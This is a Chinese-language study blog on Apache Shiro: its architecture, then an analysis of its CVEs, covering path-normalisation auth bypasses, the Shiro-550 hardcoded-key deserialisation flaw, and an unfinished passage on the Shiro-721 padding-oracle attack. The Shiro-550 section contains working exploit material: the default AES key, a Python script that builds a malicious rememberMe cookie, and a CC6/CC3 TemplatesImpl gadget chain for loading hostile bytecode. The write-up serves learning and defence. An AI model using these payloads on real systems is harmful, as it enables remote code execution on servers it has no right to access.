这篇博客本来是打算只写一些shiro反序列化的内容的,但是发现了一篇关于shiro已知的所有cve的漏洞分析,因此就打算顺着这篇文章把shiro的漏洞都看一下,也是怕之后这个文章没了。其中的理论部分大概率和文章里的一模一样,一个是我觉得这个理论写的已经很足够了,另一个原因是我在这之前也没啥理论基础(
简介
Apache Shiro 是一个 Java 安全框架,包括如下功能和特性:
- Authentication:身份认证/登陆,验证用户是不是拥有相应的身份。在 Shiro 中,所有的操作都是基于当前正在执行的用户,这里称之为一个
Subject
,在用户任意代码位置都可以轻易取到这个Subject
。Shiro 支持数据源,称之为Realms
,可以利用其连接 LDAP\AD\JDBC 等安全数据源,并支持使用自定义的Realms
,并可以同时使用一个或多个Realms
对一个用户进行认证,认证过程可以使用配置文件配置,无需修改代码。同时,Shiro 还支持 RememberMe,记住后下次访问就无需登录。 - Authorization:授权,即权限验证,验证某个已认证的用户是否拥有某个权限。同样基于
Subject
、支持多种Realms
。Shiro 支持Wildcard Permissions
,也就是使用通配符来对权限验证进行建模,使权限配置简单易读。Shiro 支持基于Roles
和基于Permissions
两种方式的验证,可以根据需要进行使用。并且支持缓存产品的使用。 - Session Manager:会话管理,用户登陆后就是一次会话,在没有退出之前,它的所有信息都在会话中。Shiro 中的一切(包括会话和会话管理的所有方面)都是基于接口的,并使用 POJO 实现,因此可以使用任何与 JavaBeans 兼容的配置格式(如 JSON、YAML、Spring XML 或类似机制)轻松配置所有会话组件。Session 支持缓存集群的方式;还支持事件侦听器,允许在会话的生命周期内侦听生命周期事件,以执行相关逻辑。Shiro Sessions 保留发起会话的主机的 IP 地址,因此可以根据用户位置来执行不同逻辑。Shiro 对 Web 支持实现了
HttpSession
类及相关全部 API。也可以在 SSO 中使用。 - Cryptography:加密,保护数据的安全性;Shiro 专注于使用公私钥对数据进行加密,以及对密码等数据进行不可逆的哈希。
- Permissions:用户权限;Shiro 将所有的操作都抽象为 Permission,并默认使用
Wildcard Permissions
来进行匹配。Shiro 支持实例级别的权限控制校验,例如domain:action:instance
。 - Caching:缓存,为了提高 Shiro 在业务中的性能表现。Shiro 的缓存支持基本上是一个封装的 API,由用户自行选择底层的缓存方式。缓存中有三个重要的接口
CacheManager
/Cache
/CacheManagerAware
,Shiro 提供了默认的MemoryConstrainedCacheManager
等实现。
Shiro概要架构
其中:
- Subject :主体对象,负责提交用户认证和授权信息。
- SecurityManager:安全管理器,负责认证,授权等业务实现。
- Realm:领域对象,负责从数据层获取业务数据。
接下来详细说一下这三个组件
SecurityManager
org.apache.shiro.mgt.SecurityManager
是 shiro 的一个核心接口,接口负责了一个 Subject 也就是“用户”的全部安全操作:
- 接口本身定义了
createSubject
、login
、logout
三个方法用来创建 Subject、登陆和退出。 - 扩展了
org.apache.shiro.authc.Authenticator
接口,提供了authenticate
方法用来进行认证。 - 扩展了
org.apache.shiro.authz.Authorizer
接口,提供了对 Permission 和 Role 的校验方法。包括has/is/check
相关命名的方法。 - 扩展了
org.apache.shiro.session.mgt.SessionManager
接口,提供了start
、getSession
方法用来创建可获取会话。
Shiro 为 SecurityManager 提供了一个包含了上述所有功能的默认实现类 org.apache.shiro.mgt.DefaultSecurityManager
,中间继承了很多中间类,并逐层实现了相关的方法,继承关系如下图。
DefaultSecurityManager 中包含以下属性:
subjectFactory
:默认使用 DefaultSubjectFactory,用来创建具体 Subject 实现类。subjectDAO
:默认使用 DefaultSubjectDAO,用于将 Subject 中最近信息保存到 Session 里面。rememberMeManager
:用于提供 RememberMe 相关功能。sessionManager
:默认使用 DefaultSessionManager,Session 相关操作会委托给这个类。authorizer
:默认使用 ModularRealmAuthorizer,用来配置授权策略。authenticator
:默认使用 ModularRealmAuthenticator,用来配置认证策略。realm
:对认证和授权的配置,由用户自行配置,包括 CasRealm、JdbcRealm 等。cacheManager
:缓存管理,由用户自行配置,在认证和授权时先经过,用来提升认证授权速度。
DefaultSecurityManager 还有一个子类,就是 org.apache.shiro.web.mgt.DefaultWebSecurityManager
,这个类在 shiro-web 包中,是 Shiro 为 HTTP/SOAP 等 http 协议连接提供的实现类,这个类默认创建配置了 org.apache.shiro.web.mgt.CookieRememberMeManager
用来提供 RememberMe 相关功能。
Subject
org.apache.shiro.subject.Subject
是一个接口,用来表示在 Shiro 中的一个用户。因为在太多组件中都使用了 User
的概念,所以 Shiro 故意避开了这个关键字,使用了 Subject
。
Subject 接口同样提供了认证(login/logout)、授权(访问控制 has/is/check 方法)以及获取会话的能力。在应用程序中如果想要获取一个当前的 Subject,通常使用 SecurityUtils.getSubject()
方法即可。
单从方法的命名和覆盖的功能来看,Subject 提供了与 SecurityManager 非常近似的方法,用来执行相关权限校验操作。而实际上,Subject 接口在 core 包中的实现类 org.apache.shiro.subject.support.DelegatingSubject
本质上也就是一个 SecurityManager 的代理类。
DelegatingSubject 中保存了一个 transient 修饰的 SecurityManager 成员变量,在使用具体的校验方法时,实际上委托 SecurityManager 进行处理,如下图:
DelegatingSubject 中不会保存和维持一个用户的“状态(角色/权限)”,恰恰相反,每次它都依赖于底层的实现组件 SecurityManager 进行检查和校验,因此通常会要求 SecurityManager 的实现类来提供一些缓存机制。所以本质上,Subject 也是一种“无状态”的实现。
Realm
Realm 翻译过来是“领域、王国”,这里可以将其理解以为一种“有界的范围”,实际上就是权限和角色的认定。
org.apache.shiro.realm.Realm
是 Shiro 中的一个接口,Shiro 通过 Realm 来访问指定应用的安全实体——用户、角色、权限等。一个 Realm 通常与一个数据源有 1 对 1 的对应关系,如关系型数据库、文件系统或者其他类似的资源。
因此,此接口的实现类,将使用特定于数据源的 API 来进行认证或授权,如 JDBC、文件IO、Hibernate/JPA 等等,官方将其解释为:特定于安全的 DAO 层。
在使用中,开发人员通常不会直接实现 Realm 接口,而是实现 Shiro 提供了一些相关功能的抽象类 AuthenticatingRealm/AuthorizingRealm,或者使用针对特定数据源提供的实现类如 JndiLdapRealm/JdbcRealm/PropertiesRealm/TextConfigurationRealm/IniRealm 等等。继承关系大概如下:
较多情况下,开发人员会自行实现 AuthorizingRealm
类,并重写 doGetAuthorizationInfo
/doGetAuthenticationInfo
方法来自行实现自身的认证和授权逻辑。
小结
通过对以上三个组件的了解,一次认证及授权的校验流程就形成了:
- 应用程序通过获取当前访问的 Subject(也就是用户),并调用其相应校验方法;
- Subject 将校验委托给 SecurityManager 进行判断;
- SecurityManager 会调用 Realm 来获取信息来判断用户对应的角色能否进行操作。
使用
这块跟开发关系有点大,感觉得单独学,所以我这里就直接ctrl cv了。
web.xml
在普通 web 项目中, Shiro 框架的注入是通过在 web.xml
中配置 Filter 的方式完成的。
在 Shiro 1.1 及之前的版本,通过配置 IniShiroFilter
,并在 /WEB-INF/shiro.ini
或 classpath:shiro.ini
中进行相应的权限配置。也可以指定配置文件路径,示例如下:
<filter>
<filter-name>ShiroFilter</filter-name>
<filter-class>org.apache.shiro.web.servlet.IniShiroFilter</filter-class>
<init-param>
<param-name>configPath</param-name>
<param-value>/WEB-INF/anotherFile.ini</param-value>
</init-param>
</filter>
在 Shiro 1.2 及之后的版本,可以进行如下配置:
<listener>
<listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class>
</listener>
...
<filter>
<filter-name>ShiroFilter</filter-name>
<filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>ShiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
官方更推荐直接使用 ShiroFilter
类进行处理,并为 Web 应用程序配置了一个 Listener: EnvironmentLoaderListener
。这是一个 ServletContextListener
的子类,会在初始化时将 WebEnvironment 的实现类注入到 ServletContext 中。
ShiroFilter 则使用 WebEnvironment 中的 WebSecurityManager 来作为当前 Shiro 上下文中的 SecurityManager。
在 Filter 处理流程中,ShiroFilter 继承的 doFilter
调用 AbstractShiroFilter#doFilterInternal
方法,会使用保存的 SecurityManager 创建 Subject 对象。
并调用其 execute 方法执行后续的校验逻辑。
默认情况下,EnvironmentLoaderListener
创建的 WebEnvironment 的实例是 IniWebEnvironment,是基于 INI 格式的配置文件,如果不想使用这个格式,可以通过自实现一个 IniWebEnvironment 的子类,用来处理自己定义的配置文件格式,并在 web.xml
中进行如下配置:
<context-param>
<param-name>shiroEnvironmentClass</param-name>
<param-value>org.su18.shiro.web.config.WebEnvironment</param-value>
</context-param>
关于 INI 配置文件的配置,在官方文档配置一章有详细描述,主要包括 [main]
、[users]
、[roles]
、[urls]
四项配置。如果配置了 [users]
或 [roles]
,则会自动创建 org.apache.shiro.realm.text.IniRealm
实例,并可以在 [main]
配置中进行调用及配置。
这里重点的配置,就在于 [urls]
这个配置项,详情参考相关官方配置文档。大概可以配置成如下形式:
[urls]
/index = anon
/user/** = authc
/admin/** = authc, roles[administrator]
/audit/** = authc, perms["remote:invoke"]
简单来说,就是一个 Ant 风格的路径表达式与需要处理他的 Filter 之间的映射。Shiro 使用 org.apache.shiro.web.filter.mgt.FilterChainManager
自己维护一套 FilterChain 的机制,用来依次对多个 Filter 进行校验。
Shiro 默认提供了一些 Filter,名称及对应处理类如下表格,如果想深入理解某个 Filter 功能的具体实现,可以具体查看。
在请求访问到达 ShiroFilter 后,会根据 request 的信息,调用 org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain
方法匹配配置的 pathPattern 以及 requestURI,如果有匹配,则会添加一层 ProxiedFilterChain 代理。这里看到,如果 pathMatches
方法匹配,将会进行 return,因此配置的顺序也很重要。
也就是说,Shiro 不会向 Servlet Context 中添加其他的 Filter,而是使用嵌套 ProxiedFilterChain 代理的方式扩展 FilterChain,并在自身 Filter 都处理结束之后继续执行原 FilterChain。
这里简单说其实就是shiro在servlet的filter前面又套了一层filter,因此在调用的时候会先调shiro的filter,然后再调servlet自己的filter
Spring
在目前的环境下,越来越多的 Web 环境使用了 SpringBoot/SpringMVC 及相关生态,因此更多的时候会将 Shiro 集成配置在其中。为了应对此环境,Shiro 提供了 shiro-spring
包来进行配置。
在 Servlet 项目中,是通过在 web.xml
中配置了能匹配所有 URL 路径 /*
的 ShiroFilter,并由其执行后续逻辑。而在 Spring 生态下,由于 IoC 与 DI 的思想,通常把所有的 Filter 注册成为 Bean 交给 Spring 来管理。
此时如果想要将 Shiro 逻辑注入其中,就用到了关键类:ShiroFilterFactoryBean
。这是 Shiro 为 Spring 生态提供的工厂类,由它在 spring 中承担了之前 ShiroFilter 的角色。内部类 SpringShiroFilter 继承了 AbstractShiroFilter,实现了类似的逻辑。
可以结合 spring-web
包中的 DelegatingFilterProxy 配置使用,其作用就是一个 filter 的代理,被它代理的 filter 将由 spring 来管理其生命周期。
ShiroFilterFactoryBean 还是 BeanPostProcessor 的子类,实现了对于 Filter 子类自动发现和处理的技术,所以我们可以通过配置 ShiroFilterFactoryBean 的方式来注册 SpringShiroFilter。
其他的配置也可以全部交由 Spring 管理,我们只需要对 ShiroFilterFactoryBean 进行配置即可,简单的示例代码如下:
/**
* @author su18
*/
@Configuration
public class ShiroConfig {
@Bean
MyRealm myRealm() {
return new MyRealm();
}
@Bean
RememberMeManager cookieRememberMeManager() {
return new CookieRememberMeManager();
}
@Bean
SecurityManager securityManager(MyRealm myRealm, RememberMeManager cookieRememberMeManager) {
DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
manager.setRealm((Realm) myRealm);
manager.setRememberMeManager(cookieRememberMeManager);
return manager;
}
@Bean(name = {"shiroFilter"})
ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager(securityManager);
bean.setLoginUrl("/index/login");
bean.setUnauthorizedUrl("/index/unauth");
LinkedHashMap<String, String> map = new LinkedHashMap<String, String>();
map.put("/index/user", "authc");
map.put("/index/**", "anon");
map.put("/audit/**", "authc, perms[\"audit:list\"]");
map.put("/admin/**", "authc, roles[admin]");
map.put("/logout", "logout");
bean.setFilterChainDefinitionMap(map);
return bean;
}
}
安全漏洞
这里是这篇文章的主要部分
根据官方网站上的漏洞通报,shiro 在历史上共通报了 11 个 CVE,其中包含认证绕过、反序列化等漏洞类型
不过除了shiro550和shiro721,其他几个洞感觉全是路径解析造成的问题,所以可能就直接照抄参考文章了
CVE-2010-3863
漏洞信息
漏洞信息 | 详情 |
---|---|
漏洞编号 | CVE-2010-3863 / CNVD-2010-2715 |
影响版本 | shiro < 1.1.0 & JSecurity 0.9.x |
漏洞描述 | Shiro 在对请求路径与 shiro.ini 配置文件配置的 AntPath 进行对比前 未进行路径标准化,导致使用时可能绕过权限校验 |
漏洞关键字 | /./ | 路径标准化 |
漏洞补丁 | Commit-ab82949 |
相关链接 | https://vulners.com/nessus/SHIRO_SLASHDOT_BYPASS.NASL https://marc.info/?l=bugtraq&m=128880520013694&w=2 |
漏洞详解
(没找到对应版本,凑合看吧
之前提到过,Shiro 使用 PathMatchingFilterChainResolver#getChain
方法获取和调用要执行的 Filter,逻辑如下:
getPathWithinApplication()
方法调用 WebUtils.getPathWithinApplication()
方法,用来获取请求路径。通过如下逻辑可看到,方法获取 Context 路径以及 URI 路径,然后使用字符串截取的方式去掉 Context 路径。
获取 URI 路径的方法 getRequestUri()
获取 javax.servlet.include.request_uri
的值,并调用 decodeAndCleanUriString()
处理。
decodeAndCleanUriString()
是 URL Decode 及针对 JBoss/Jetty 等中间件在 url 处添加 ;jsessionid
之类的字符串的适配,对 ;
进行了截取。
处理之后的请求 URL 将会使用 AntPathMatcher#doMatch
进行匹配尝试。
流程梳理到这里就出现了一个重大的问题:在匹配之前,没有进行标准化路径处理,导致 URI 中如果出现一些特殊的字符,就可能绕过安全校验。比如如下配置:
[urls]
/user/** = authc
/admin/list = authc, roles[admin]
/admin/** = authc
/audit/** = authc, perms["audit:list"]
/** = anon
在上面的配置中,为了一些有指定权限的需求的接口进行了配置,并为其他全部的 URL /**
设置了 anno
的权限。在这种配置下就会产生校验绕过的风险。
因为/./flag不会匹配到其中任何一个需要带权限访问的路径,因此就会导致成为了/**的anno权限,实现了越权访问
漏洞修复
Shiro 在 ab82949 更新中添加了标准化路径函数。
对 /
、//
、/./
、/../
等进行了处理。
CVE-2014-0074
漏洞信息
漏洞信息 | 详情 |
---|---|
漏洞编号 | CVE-2014-0074 / CNVD-2014-03861 / SHIRO-460 |
影响版本 | shiro 1.x < 1.2.3 |
漏洞描述 | 当程序使用LDAP服务器并启用非身份验证绑定时,远程攻击者可借助空的用户名或密码利用该漏洞绕过身份验证。 |
漏洞关键字 | ldap | 绕过 | 空密码 | 空用户名 | 匿名 |
漏洞补丁 | Commit-f988846 |
相关链接 | https://stackoverflow.com/questions/21391572/shiro-authenticates...in-ldap https://www.openldap.org/doc/admin24/security.html |
这个感觉利用条件跟shiro关系好像不是很大,先放一下,等以后学了ldap再说
CVE-2016-4437
漏洞信息
漏洞信息 | 详情 |
---|---|
漏洞编号 | CVE-2016-4437 / CNVD-2016-03869 / SHIRO-550 |
影响版本 | shiro 1.x < 1.2.5 |
漏洞描述 | 如果程序未能正确配置 “remember me” 功能使用的密钥。 攻击者可通过发送带有特制参数的请求利用该漏洞执行任意代码或访问受限制内容。 |
漏洞关键字 | cookie | RememberMe | 反序列化 | 硬编码 | AES |
漏洞补丁 | Commit-4d5bb00 |
相关链接 | SHIRO-441 https://www.anquanke.com/post/id/192619 |
shiro的反序列化漏洞,算是shiro里比较重要的漏洞了
环境配置
IDEA搭建shiro550复现环境_shiro550环境搭建_普通网友的博客-CSDN博客
漏洞详解
Shiro 从 0.9 版本开始设计了 RememberMe 的功能,用来提供在应用中记住用户登陆状态的功能。
RememberMeManager
首先是接口 org.apache.shiro.mgt.RememberMeManager
,这个接口提供了 5 个方法:
getRememberedPrincipals
:在指定上下文中找到记住的 principals,也就是 RememberMe 的功能。forgetIdentity
:忘记身份标识。onSuccessfulLogin
:在登陆校验成功后调用,登陆成功时,保存对应的 principals 供程序未来进行访问。onFailedLogin
:在登陆失败后调用,登陆失败时,在程序中“忘记”该 Subject 对应的 principals。onLogout
: 在用户退出时调用,当一个 Subject 注销时,在程序中“忘记”该 Subject 对应的 principals。
之前曾在 DefaultSecurityManager 的成员变量中见到了 RememberMeManager 成员变量,会在登陆、认证等逻辑中调用其中的相关方法。
AbstractRememberMeManager
同时,Shiro 还提供了一个实现了 RememberMeManager
接口的抽象类 AbstractRememberMeManager
,提供了一些实现技术细节。先介绍其中重要的几个成员变量:
DEFAULT_CIPHER_KEY_BYTES
:一个 Base64 的硬编码的 AES Key,也是本次漏洞的关键点,这个 key 会被同时设置为加解密 key 成员变量:encryptionCipherKey/decryptionCipherKey 。serializer
:Shiro 提供的序列化器,用来对序列化和反序列化标识用户身份的 PrincipalCollection 对象。cipherService
:用来对数据加解密的类,实际上是org.apache.shiro.crypto.AesCipherService
类,这是一个对称加密的实现,所以加解密的 key 是使用了同一个。
在其初始化时,会创建 DefaultSerializer
作为序列化器,AesCipherService
作为加解密实现类,DEFAULT_CIPHER_KEY_BYTES
作为加解密的 key。
漏洞成因
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户信息加密,加密过程:用户信息=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。如果用户勾选记住密码,那么在请求中会携带cookie,并且将加密信息存放在cookie的rememberMe字段里面,在服务端收到请求对rememberMe值,先base64解码然后AES解密再反序列化,这个加密过程如果我们知道AES加密的密钥,那么我们把用户信息替换成恶意命令,就导致了反序列化RCE漏洞。在shiro版本<=1.2.4中使用了默认密钥kPH+bIxk5D2deZiIxcaaaA==,这就更容易触发RCE漏洞。
所以我们Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
源码分析
然后我们可以下个断点跟一下 shiro里的Filter 处理流程
调用链如下
AbstractShiroFilter.doFilterInternal()
AbstractShiroFilter.createSubject()
WebSubject.Builder.buildWebSubject()
Subject.Builder.buildSubject()
DefaultSecurityManager.createSubject()
DefaultSecurityManager.resolvePrincipals()
DefaultSecurityManager.getRememberedIdentity()
AbstractRememberMeManager.getRememberedPrincipals()
CookieRememberMeManager.getRememberedSerializedIdentity()
首先,filter流程肯定要调用AbstractShiroFilter#doFilterInternal
方法
然后去调用 AbstractShiroFilter.createSubject()
创建 Subject 对象
创建 Subject 对象后,会试图从利用当前的上下文中的信息来解析当前用户的身份,将会调用 DefaultSecurityManager#resolvePrincipals
方法
继续调用 AbstractRememberMeManager#getRememberedPrincipals
方法
这个方法就是将 SubjectContext 中的信息转为 PrincipalCollection 的关键方法,也是漏洞触发点。在 try 语句块中共有两个方法,分别是 getRememberedSerializedIdentity
和 convertBytesToPrincipals
方法。
getRememberedSerializedIdentity我们之前提过这个方法,其实看名字也知道是读取序列化的用户信息,作用就是获取 Cookie 中的内容并 Base64 解码返回 byte 数组。
然后这个返回的byte数组又传到了convertBytesToPrincipals方法里面进行处理
在这个方法里,调用了一个解密和反序列化的方法
先看这个解密函数
跟一下这个CipherService cipherService = getCipherService();
就能发现他是负责加密方式的,
就是给一个aes的加密
然后在这一行进行真正的加密操作
看名字也能猜出来,一个放密文,一个放密钥
密文肯定就是我们cookie里的东西,这个可以先不看,所以先看看密钥
再往里跟会发现这个密钥其实是个常量
这就是shiro550最根本的漏洞原因
由于对cookie内容的aes解密密钥采用的是固定值,因此我们可以通过获取这一密钥来修改cookie中的内容,使在之后的反序列化过程中反序列化我们构造的恶意cookie
接下来再来看反序列化的过程
这里就是调了一个原生的readObject,因此我们就可以去利用这一反序列化
漏洞利用
在漏洞利用之前还要说一点前提
在shiro中,选择了remember登录后,系统会给出两个cookie,一个是JSESSIONID,另一个是rememberMe,而当JSESSIONID存在的时候,shiro可以直接通过DefaultSecurityManager#resolvePrincipals
方法判断用户的角色,因此用户角色不为空,也就不会进入到这个if判断里,从而就不会进入getRememberedIdentity,更别说去获取rememberMe的值进行解密和反序列化操作了。所以漏洞利用的时候构造完payload还要把JSESSIONID删了
接下来是正式利用的部分
我们先尝试着去进行java原生的反序列化,也就是urldns链
urldns链
当我们成功登录时,可以看到返回的内容中存在很长一串cookie
首先生成一个urldns的payload文件
aes加密脚本
import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES
def get_file(filename):
with open(filename,'rb') as f:
data = f.read()
return data
def aesEncode(data):
BS = AES.block_size
pad = lambda s: s + ((BS-len(s)%BS)) * chr(BS-len(s)%BS).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key),mode,iv)
ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
return ciphertext
def aesDecode(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s:s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key),mode,iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext
if __name__ == '__main__':
data = get_file("ser.bin")
print(aesEncode(data))
执行加密脚本生成payload
修改rememberMe的值然后刷新一下提交,看看bp里就行了
调试一下也能看见
反序列化的时候有了个HashMap,说明我们的URLDNS链成功调用了
可是只能发起dns请求可还不够,我们的目的是命令执行
CB链无依赖打shiro550
之前写CB链的那个文章也说了,就是专门为了shiro550才学的,所以这里直接用了(记得jdk版本改一改,一下午的教训
这里也要注意一个问题,就是如果直接用CB那篇文章里的配置来打shiro550是不会成功的,在控制台可以看见这样的报错
这是因为shiro里自带的CB是1.8.3版本
而1.9+版本的CB修改了一些类的serialVersionUID,也就是java序列化的唯一标识,所以会报错
CC链打shiro550
虽然已经有了CB无依赖打shiro550这条链,但是还是写一下关于CC链打shiro的链子吧
先把cc依赖放进去
然后我们先随便找个对应的cc链打一下
可以发现计算器没弹出来,然后在shiro的控制台里可以看见有这种报错
一个是Transformer类没加载出来,另一个是不能对字节数组反序列化
这个问题具体的原因可以看这个Shiro反序列化漏洞(二)-shiro下的CC链利用,是tomcat的类加载器的问题
简单的原因是Shiro 使用 ClassResolvingObjectInputStream
执行反序列化的操作,这个类重写了 resolveClass
,实际使用 ClassLoader.loadClass()
方式而非 ObjectInputStream 中的 Class.forName()
的方式。而 forName
的方式可以加载任意的数组类型,loadClass
只能加载原生的类型的 Object Array。
p牛的结论是 如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误。
现在一般有两种解决方法
- 使用 RMI 中的 Gadget 做跳板,再执行 CC 反序列化链,这样可以加载;
- 改造 CC 链,组合 InvokerTransformer 与 TemplatesImpl,避免使用 Transformer 数组。
rmi学的不是很精,还不太懂怎么利用rmi攻击,所以就先写写第二种
首先看上边这个图,我们之所以要用Transformer数组类,最主要的问题就是通过transform执行runtime.exec的时候我们需要控制输入,也就必须用transform数组。所以这里我们选用加载恶意字节码文件的方式
然后由于不能有transform数组类型,所以就不能用ConstantTransformer和InvokerTransformer形成链条的这种方式
所以这里我们选用CC6的前半段加CC3的后半段
public class cc {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
//cc3
TemplatesImpl templates = new TemplatesImpl();
// _name赋值不为null
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"123");
// _class赋值为null
Field classField = templates.getClass().getDeclaredField("_class");
classField.setAccessible(true);
classField.set(templates,null);
//加载恶意类的字节码
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://ctftools/ctfscript/javastudy/CC/src/main/java/org/cc3/cmd.class"));
//转为二维数组
byte[][] codes = {code};
bytecodes.set(templates,codes);
InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", null, null);
//cc6
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map decorate = LazyMap.decorate(objectObjectHashMap,new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,templates);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "123");
Class LazyMapClass = LazyMap.class;
Field factory = LazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(decorate,newTransformer);
decorate.clear();
file.serialize(hashMap,"ser.bin");
file.unserialize("ser.bin");
}
}
调用链就是从hashmap到TiedMapEntry再到LazyMap,通过LazyMap触发TemplatesImpl的newTransformer,加载恶意字节码
漏洞修复
升级shiro版本到1.2.5
Shiro 在 1.2.5 的更新 Commit-4d5bb00 中针对此漏洞进行了修复,描述为:Force RememberMe cipher to be set to survive JVM restart.If the property is not set, a new cipher will be generated.
也就是说,应用程序需要用户手动配置一个 cipherKey,如果不设置,将会生成一个新 key。
CVE-2016-6802
漏洞信息
漏洞信息 | 详情 |
---|---|
漏洞编号 | CVE-2016-6802 / CNVD-2016-07814 |
影响版本 | shiro < 1.3.2 |
漏洞描述 | Shiro 使用非根 servlet 上下文路径中存在安全漏洞。远程攻击者通过构造的请求, 利用此漏洞可绕过目标 servlet 过滤器并获取访问权限。 |
漏洞关键字 | 绕过 | Context Path | 非根 | /x/../ |
漏洞补丁 | Commit-b15ab92 |
相关链接 | https://www.cnblogs.com/backlion/p/14055279.html |
漏洞详解
这个洞感觉也没啥好跟的,就是在获取路径的导致的绕过问题(我也不想配环境了
在访问路径的前添加 /任意目录名/../,即可绕过认证权限进行访问
Shiro通过调用 WebUtils.getContextPath()
方法,获取 javax.servlet.include.context_path
属性或调用 request.getContextPath()
获取 Context 值。
由于获取的 Context Path 没有标准化处理,如果是非常规的路径,例如 CVE-2010-3863 中出现过的 /./
,或者跳跃路径 /su18/../
,都会导致在 StringUtils.startsWithIgnoreCase()
方法判断时失效,直接返回完整的 Request URI 。
这样 Shiro 匹配不到配置路径,就会在某些配置下发生绕过
漏洞修复
Shiro 在 1.3.2 版本的更新 Commit-b15ab92 中针对此漏洞进行了修复。
CVE-2019-12422
漏洞信息
漏洞信息 | 详情 |
---|---|
漏洞编号 | CVE-2019-12422 / CNVD-2016-07814 / SHIRO-721 |
影响版本 | shiro < 1.4.2 (1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1) |
漏洞描述 | RememberMe Cookie 默认通过 AES-128-CBC 模式加密,这种加密方式容易受到 Padding Oracle Attack 攻击,攻击者利用有效的 RememberMe Cookie 作为前缀, 然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击。 |
漏洞关键字 | 反序列化 | RememberMe | Padding | CBC |
漏洞补丁 | Commit-a801878 |
相关链接 | https://blog.skullsecurity.org/2016/12 https://resources.infosecinstitute.com/topic/padding-oracle-attack-2/ https://codeantenna.com/a/OwWV5Ivtsi |
Shiro721,也是一个Cookie的反序列化
漏洞详解
本次漏洞实际并不是针对 shiro 代码逻辑的漏洞,而是针对 shiro 使用的 AES-128-CBC 加密模式的攻击,首先了解一下这种加密方式。(一字不差搬过来的
AES-128-CBC
AES 全称 Advanced Encryption Standard (高级加密标准),是一种为了取代其前任标准(DES)而成为新标准的对称分组加密算法。这里有几个关键字:
- 对称:所谓对称加密,即使用同一组 key 进行明文和密文的转换。
- 分组加密算法:将明文分成多个等长的模块(block),使用确定的算法和对称密钥对每组分别加密解密。常见的有 ECB、CBC、PCBC、CFB、OFB、CTR 等几种算法。
- 分组长度固定为 128bit 。
- 密钥 key 的长度可以为 128 bit(16字节)、192 bit(24字节)、256 bit(32字节)。根据密钥的长度不同,推荐加密轮数也不同,上述三个密钥长度分别迭代 10/12/14 轮。加密轮数越多,安全性越好,同时也更耗费时间。
因此 AES-128-CBC 模式就代表使用 AES 密钥长度为 128 bit,使用 CBC 分组算法的加密模式。
再来了解一下 CBC,全称 Cipher Block Chaining (密文分组链接模式),简单来说,是一种使用前一个密文组与当前明文组 XOR 后再进行加密的模式。
关于 AES 加解密流程实现可以看这篇文章,关于 CBC 分组的实现可以看这篇文章。这里就不占篇幅描述了。
CBC 模式下,有三种填充方式,用于在分组数据不足时,在结尾进行填充,用于补齐:
- NoPadding:不填充,明文长度必须是 16 Bytes 的倍数。
- PKCS5Padding:以完整字节填充 , 每个填充字节的值是用于填充的字节数 。即要填充 N 个字节 , 每个字节都为 N。
- ISO10126Padding:以随机字节填充 , 最后一个字节为填充字节的个数。
Shiro 中使用的是 PKCS5Padding,也就是说,可能出现的 padding byte 值只可能为:
- 1 个字节的 padding 为 0x01
- 2 个字节的 padding 为 0x02,0x02
- 3 个字节的 padding 为 0x03,0x03,0x03
- 4 个字节的 padding 为 0x04,0x04,0x04,0x04
- ...
当待加密的数据长度刚好满足分组长度的倍数时,仍然需要填充一个分组长度,也就是说,明文长度如果是 16n,加密后的数据长度为 16(n+1) 。
Padding Oracle Attack
Padding Oracle Attack 就是针对 CBC 模式分组加密算法的一种攻击手段,可以查看这篇文章学习,英文有困难的小伙伴可以查看这篇文章,说的非常清晰。
这里还是简单的描述一下攻击思路,在加密时,最后一个分组如果长度不够,会进行填充,然后使用倒数第二个分组的密文作为 IV 进行异或,然后进行 AES 加密。
在解密时,先对密文组(CiperText)使用密钥 (Key) 进行 AES 解密,得到一个中间值(MediumValue),然后再异或 IV (也就是上一个密文组) 就会得到这个分组的明文分组(PlainText)。
这个明文分组,是经过 PKCS5Padding 规范填充过的,因此它一定是遵从 PKCS5Padding 的规范的,这个规范就是本次的攻击验证点。
Padding Oracle Attack 就是利用了异或的魅力以及 PKCS5Padding 规范的可穷举性进行的攻击,wikipedia 中给出解释:
这个攻击逻辑我想了小一天,看了 fynch3r 师傅的博客,又咨询了下,最后想通了,这里用比较清晰的话描述出来,供跟我一样密码学和数学基础较差的朋友理解:
